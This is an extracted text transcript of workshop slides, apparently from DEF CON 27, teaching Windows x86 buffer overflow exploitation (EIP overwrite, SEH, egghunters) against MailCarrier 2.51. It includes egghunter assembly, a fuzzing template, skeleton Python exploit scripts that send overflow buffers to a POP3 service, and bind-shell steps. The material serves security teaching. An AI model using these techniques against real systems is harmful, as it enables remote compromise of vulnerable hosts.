instructor - dino covotsos telspace systems @telspacesystems con 27/def con 27... · hack to basics...

82
Hack to Basics x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows Instructor - Dino Covotsos Telspace Systems @telspacesystems

Upload: others

Post on 20-Aug-2020

1 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

HacktoBasics–x86WindowsBasedBufferOverflows,anintroduc:ontobufferoverflowsInstructor-DinoCovotsos– TelspaceSystems

@telspacesystems

Page 2: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

Whoami?

WorkinthePenetra:onTes:ngspace(TelspaceSystems)

Approximately20yearsin

Tryingtokeepsomesortofwork/lifebalance!;)

Variousqualifica:ons–OSCP/OSCEetc

Page 3: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

Agenda

-Introduc:ontotheworkshop(Wearehere!).-TheStackandRegisters.-Basicx86ASM.-Basicexploita:ontechniques.-Fuzzing.-Introduc:ontovarietyofSkeletonPythonscripts(copypastebufferoverflows,remotebufferoverflowsetc).

Page 4: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

Agenda

-VanillaEIPoverwritesinImmunityDebugger.-Overwri:ngEIP,JumpingtoESP,execu:ngShellcode(generatedbyMetasploitorcompiledfromexploit-db/shellstorm).-Badcharactersandhowtodealwiththem.-Prac:calexample(CVE-2019-11395).

Page 5: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

Agenda

-Introduc:ontoSEHexploita:ontechniques.-Introduc:ontoMona,basicasmjumpsandshellcoding.-Prac:calexample(CVE-2019-11395).

Page 6: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

Agenda

-Whatareegghunters?-Exampleofaegghunterbeingu:lisedinaSEHexploit.-Ques:onsandAnswers.-References.

Page 7: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

TheStackandRegisters(x86)

REF:hep://flint.cs.yale.edu/cs421/papers/x86-asm/asm.html

Page 8: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

TheStackandRegisters(x86)The832bitGeneralPurposeRegisters:Accumulatorregister(AX).Usedinarithme:copera:onsCounterregister(CX).Usedinshii/rotateinstruc:onsandloops.Dataregister(DX).Usedinarithme:copera:onsandI/Oopera:ons.Baseregister(BX).Usedasapointertodata(locatedinsegmentregisterDS,wheninsegmentedmode).StackPointerregister(SP).Pointertothetopofthestack.StackBasePointerregister(BP).Usedtopointtothebaseofthestack.SourceIndexregister(SI).Usedasapointertoasourceinstreamopera:ons.Des:na:onIndexregister(DI).Usedasapointertoades:na:oninstreamopera:ons.

Page 9: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

Basicx86ASMX86ASM(forthisworkshop):add/subxormovpushpopcalljmp(andcondi:onaljumps)

Page 10: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

Basicexploita:ontechniques“Vanilla”EIPOverwrite:DirectEIPoverwritewithini:allongbuffer(noexcep:onhandlerorsimilar)StructuredExcepDonHandling(SEH)exploitaDon:Anexcep:onisaneventthatoccursduringtheexecu:onofaprogram,andrequirestheexecu:onofcodeoutsidethenormalflowofcontrol.Structuredexcep:onhandlingisamechanismforhandlingbothhardwareandsoiwareexcep:ons.OverwriteSEHwithaPOPPOPRETinstruc:on,ESPmovedtowardshigherinstruc:onstwicethenaRETisexecuted.

REF:heps://docs.microsoi.com/en-us/windows/desktop/debug/structured-excep:on-handling

Page 11: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

Basicexploita:ontechniquesStructuredExcepDonHandling(SEH)exploitaDon(conDnued):Typicalstructure:“A”buffer+(NextSEH)/JMP+PPR+(nops)+shellcode

Page 12: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

Basicexploita:ontechniquesEgghunters:Aegghunterisasmallpieceofshellcodethatsearchesmemoryforalarger,biggershellcodewhereitmaybepossibletoexecutesaidshellcode(i.e.incaseswherethereisonlyasmallamountofspaceavailableinthebuffer,thisisveryuseful)Egghunterssearchfora“TAG”whichisaunique4bytestring,inmemory.Wethencombineastringtogethersothatitisunique,suchasWOOTWOOTorsimilarwherewewanttoexecuteouractualshellcodeoncefound(i.e.weredirectexecu:onflow).

Page 13: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

Basicexploita:ontechniquesEgghunters,example:loop_inc_page:

or dx, 0x0!f // Add PAGE_SIZE-1 to edxloop_inc_one:

inc edx // Increment our pointer by oneloop_check:

push edx // Save edxpush 0x2 // Push NtAccessCheckAndAuditAlarmpop eax // Pop into eaxint 0x2e // Perform the syscallcmp al, 0x05 // Did we get 0xc0000005 (ACCESS_VIOLATION) ?pop edx // Restore edx

loop_check_8_valid:jeloop_inc_page//Yes,invalidptr,gotothenextpage

is_egg:

moveax,0x50905090//Throwoureggineaxmovedi,edx//Seteditothepointerwevalidatedscasd//Comparethedwordineditoeaxjnzloop_inc_one//Nomatch?Incrementthepointerbyonescasd//Comparethedwordineditoeaxagain(whichisnowedx+4)jnzloop_inc_one//Nomatch?Incrementthepointerbyone

matched:

jmpedi//Foundtheegg.Jump8bytespastitintoourcode.

REF:hep://www.hick.org/code/skape/papers/egghunt-shellcode.pdf&heps://www.fuzzysecurity.com/tutorials/expDev/4.html

Page 14: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

FuzzingGoogleDefiniDon:Fuzzingorfuzztes:ngisanautomatedsoiwaretes:ngtechniquethatinvolvesprovidinginvalid,unexpected,orrandomdataasinputstoacomputerprogram.Theprogramisthenmonitoredforexcep:onssuchascrashes,failingbuilt-incodeasser:ons,orpoten:almemoryleaks.ManualTesDng(GeneraDon,mutaDon,manualcodingetc)Tools:Spike,Boofuzz,Peach,Sulleyetc

Page 15: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

FuzzingBasicSpikeTemplate:s_string_variable("USER");s_string(" ");s_string_variable(”FOO");s_string("\r\n");s_string("PASS");s_string_variable(”F00");s_string_variable("\r\n");

Page 16: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

SkeletonPythonScriptsOnyourUSB/VMthereareaddi:onalscripts:Copy/PasteSkeletonPythonScripts(LocalBOFexample,SEH)Shellcode = “<SHELLCODE>” buffer = "A" * 884 + NSEH + SEH" + NOPS + shellcode + "D" * 8868 payload = buffer try: f=open("exploit.txt","w") print "[+] Creating %s bytes payload.." %len(payload) f.write(payload) f.close() print "[+] File created!" except: print "File cannot be created”

Page 17: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

SkeletonPythonScriptsSocketBasedSkeletonPythonScripts(LocalBOFexample,Vanilla)buffer = "A" * 5094 + ”JMP ESP" + NOPS + "C" * (882-len(shellcode)) print "[*] MailCarrier 2.51 POP3 Buffer Overflow in USER command\r\n" print "[*] Sending pwnage buffer: with %s bytes..." %len(buffer) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect=s.connect(("192.168.0.150", 110)) print s.recv(1024) s.send('USER ' + buffer + '\r\n') print s.recv(1024) s.send('QUIT\r\n') s.close() time.sleep(1) print "[*] Done, but if you get here the exploit failed!"

Page 18: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

VanillaEIPOverwrite

41414141–TheMagicNumbers.

Ouraiminthispor:onoftheworkshopistooverwritetheEIPregisterbysendingalongstring,whichwillallowustoredirectprogramexecu:onflowtoshellcodeofourchoosing.Inthiscase,itwouldbecalc.exeorabindshell.

Page 19: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

VanillaEIPOverwrite(MailCarrier)

Page 20: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

VanillaEIPOverwrite(MailCarrier)

AeachingtotheMailCarrierprocess,usingImmunityDebugger(onyourVM)

Page 21: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

VanillaEIPOverwrite(MailCarrier)

Page 22: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

VanillaEIPOverwrites(MailCarrier)

SkeletonPythonScript,whichwillsend6000A’svia“USER”(onyourVM)

Page 23: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

VanillaEIPOverwrite(MailCarrier)

Overwri:ngEIPwith“41414141”

Page 24: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

VanillaEIPOverwrite(MailCarrier)

Genera:ngauniquepaeernwithmsf-paeern_createwithlength6000

Page 25: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

VanillaEIPOverwrite(MailCarrier)

Pythonscript,withuniquepaeerntosendtoMailCarrier

Page 26: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

VanillaEIPOverwrite(MailCarrier)

Execu:ngthescript,whichcarriestheuniquepaeern.

Page 27: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

VanillaEIPOverwrite(MailCarrier)

ObtainingEIPoverwritewithauniquepaeern,wecopythisvaluetofindtheexactoffset.

Page 28: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

VanillaEIPOverwrite(MailCarrier)

Usingmsf-paeern_offsetinordertoobtaintheexactoffset,inthiscase5094bytes.

Page 29: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

VanillaEIPOverwrite(MailCarrier)

Wecreateour“B”buffer,toconfirmtheexactoffsetandEIPoverwrite.

Page 30: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

VanillaEIPOverwrite(MailCarrier)

ConfirmingthecorrectoffsetandEIPoverwritevia42424242(“B”*4)

Page 31: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

VanillaEIPOverwrite(MailCarrier)

WesearchforaJMPESPtooverwriteEIPwith,viamonawith“!monajmp–resp”

Page 32: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

VanillaEIPOverwrite(MailCarrier)

AddingtheJMPtothePythonscript.

Page 33: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

VanillaEIPOverwrite(MailCarrier)

Weplaceabreakpointatthataddress,andwaitforthebreakpointtobehit,confirmingjmp.

Page 34: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

VanillaEIPOverwrite(MailCarrier)

Westepthroughtheinstruc:onsandconfirmthatwelandinour“C”buffer.

Page 35: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

VanillaEIPOverwrite(MailCarrier)

Genera:ngourbind_tcpshellcode,withmsfvenom.

Page 36: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

VanillaEIPOverwrite(MailCarrier)

PlacingitintoourPythonscript(1/2).

Page 37: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

VanillaEIPOverwrite(MailCarrier)

PlacingitintoourPythonscript(2/2).

Page 38: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

VanillaEIPOverwrite(MailCarrier)

Execu:ngourPythonscript(fullexploit).

Page 39: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

VanillaEIPOverwrite(MailCarrier)

Obtainingourbindshellonport443.

Page 40: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

VanillaEIPOverwrite(MailCarrier)

UsingMeterpretertoconnecttothebindshell.

Page 41: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

SEHexploita:on

41414141–SDllthemagicnumbers,justdifferent!

Structuredexcep:onhandlingexploitscompromiseanapplica:onbyoverwri:ngthepointerofanexcep:onhandlerwithanaeackercontrolledaddress.The“StructuredExcepDonHandler(SEH)”isaprotec:onmechanismthatwasimplementedtomi:gatetheabuseofbufferoverflows,butitisahighlyflawedone.

REF:heps://www.fuzzysecurity.com/tutorials/expDev/3.html

Page 42: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

SEHexploita:on

SkeletonPythonscripttoexploittheLISTcommand,postauthen:ca:on(test/test)

Page 43: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

SEHexploita:on

Sending10000A’sviatheLISTcommand.

Page 44: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

SEHexploita:on

EIPisnotoverwrieen,butwecon:nueprogramexecu:on.

Page 45: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

SEHexploita:on

EIPisnowoverwrieen,theSEHchainourA’s.

Page 46: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

SEHexploita:on

Inthesamewayasthepreviousexploit,weusemsftocreateauniquepaeernwith10000bytes.

Page 47: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

SEHexploita:on

Pythonscriptwiththepaeern.

Page 48: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

SEHexploita:on

SEHchainshowsoverwrite,wethenmatchthatwithmsf-paeern_offsetto6178bytes.

Page 49: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

SEHexploita:on

Wemodifyourbuffertooverwritensehandsehwith“BBBB”and“CCCC”.

Page 50: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

SEHexploita:on

SEHChainnowshowswecontrolnsehandsehaccordingly.

Page 51: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

SEHexploita:on

Weuse“!monaseh”tosearchforaPOPPOPRETinstruc:on.

Page 52: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

SEHexploita:on

OurPPRinstruc:onisthenaddedtoourexploit,withnsehaddedas“G”*4.

Page 53: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

SEHexploita:on

WeplaceabreakpointatourPPRinstruc:on,tomakesureitisbeingexecutedproperly.

Page 54: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

SEHexploita:on

WeexecuteourPPRinstruc:on,andjumptoour4“G”buffer,whichwecannowusetojump.

Page 55: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

SEHexploita:on

Weusethese4bytes,toassembleaJMPSHORTtoavalueaierthehandler(EB12)

Page 56: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

SEHexploita:on

WemodifyourPythonscripttoaddournsehjumpandsomenops(wewanttolandinthenops).

Page 57: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

SEHexploita:on

Usingbreakpointsandsteppingthrough,wefinallylandinournopsandcanaddourshellcode.

Page 58: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

SEHexploita:on

Usingmsfvenom,wegenerateourbindshellonceagain.

Page 59: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

SEHexploita:on

Weaddthistoourfinalexploit(1/2).

Page 60: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

SEHexploita:on

Weaddthistoourfinalexploit(2/2).

Page 61: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

SEHexploita:on

WethenrunthefinalPythonexploit,andhopetogetabindshellonthetarget.

Page 62: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

SEHexploita:on

Success,wehaveourbindshellwai:ngonport443.

Page 63: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

SEHexploita:on

ConnectedtoourbindshellviaMSF.

Page 64: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

Egghunters

Playingwithlimitedbufferspacecanbefun!Anegghunterisasmallpieceofshellcodethatwillsearchmemoryforaspecificpaeern.Oncethisisfound,itwillthenexecutethefullshellcodeinalargerareaofavailablebufferspace(some:mesdoneviaanotherstoredvariable).WewillexpandupontheSEHexploitfromthepreviousexample,withtheuseofaegghuntertofindourshellcode.

Addi:onalinforma:on:heps://www.corelan.be/index.php/2010/01/09/exploit-wri:ng-tutorial-part-8-win32-egg-hun:ng/

Page 65: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

Egghunters

WestartwithourskeletonPythonscript,whichusesnseh,sehandnops(noshellcodethis:me).

Page 66: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

Egghunters

Welandinournopsasexpected,whichwillallowustocreateandexecuteouregghunter.

Page 67: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

Egghunters

Usingmsf-egghuntertogenerateouregghunter,withx00astheonlybadchar,tagofWOOT.

Page 68: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

Egghunters

Addingtheegghuntertoourcode,alsoincludingtheWOOTWOOTtagjustaierini:al“A”buffer

Page 69: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

Egghunters

Execu:ngourscriptwithourEgghunter,ifallgoeswellweshouldfindWOOTWOOTinmemory.

Page 70: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

Egghunters

Ouregghuntertagisfound,wecannowplacenopsandshellcode!

Page 71: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

Egghunters

Onceagain,wegenerateourshellcodeusingmsfvenom.

Page 72: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

Egghunters

Addingtheshellcodetoourexploit(1/2).

Page 73: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

Egghunters

Addingtheshellcodetoourexploit(2/2).

Page 74: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

Egghunters

Runningourfinalexploitwithegghunterandshellcode.

Page 75: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

Egghunters

Bysexngbreakpointsandsteppingthroughtheexecu:on,wecanseeouregghunter.

Page 76: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

Egghunters

Wesetanotherstrategicbreakpoint,aierourWOOTWOOTisfoundinmemory,thencon:nue.

Page 77: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

Egghunters

Toconfirm,wefindourtaginmemory,followedbyournopsandshellcode.

Page 78: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

Egghunters

Wecon:nueexecu:on,findournopsandshellcodeexecutescorrectly.

Page 79: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

Egghunters

Bindshellwai:ngonport443forustoconnectto.

Page 80: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

Egghunters

Connec:ngtoourbindshell!

Page 81: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

@telspacesystemswww.telspace.co.za

Page 82: Instructor - Dino Covotsos Telspace Systems @telspacesystems CON 27/DEF CON 27... · Hack to Basics – x86 Windows Based Buffer Overflows, an introduc:on to buffer overflows

Referencesandthanksto:FuzzySecurityCorelan(Peter!)

OffsecMaeMiller(skape)

DEFCON(Jeff,Nikita,Highwiz,Toeenkophandallcrew)TheTelspaceSystemsCrew(heps://www.telspace.co.za)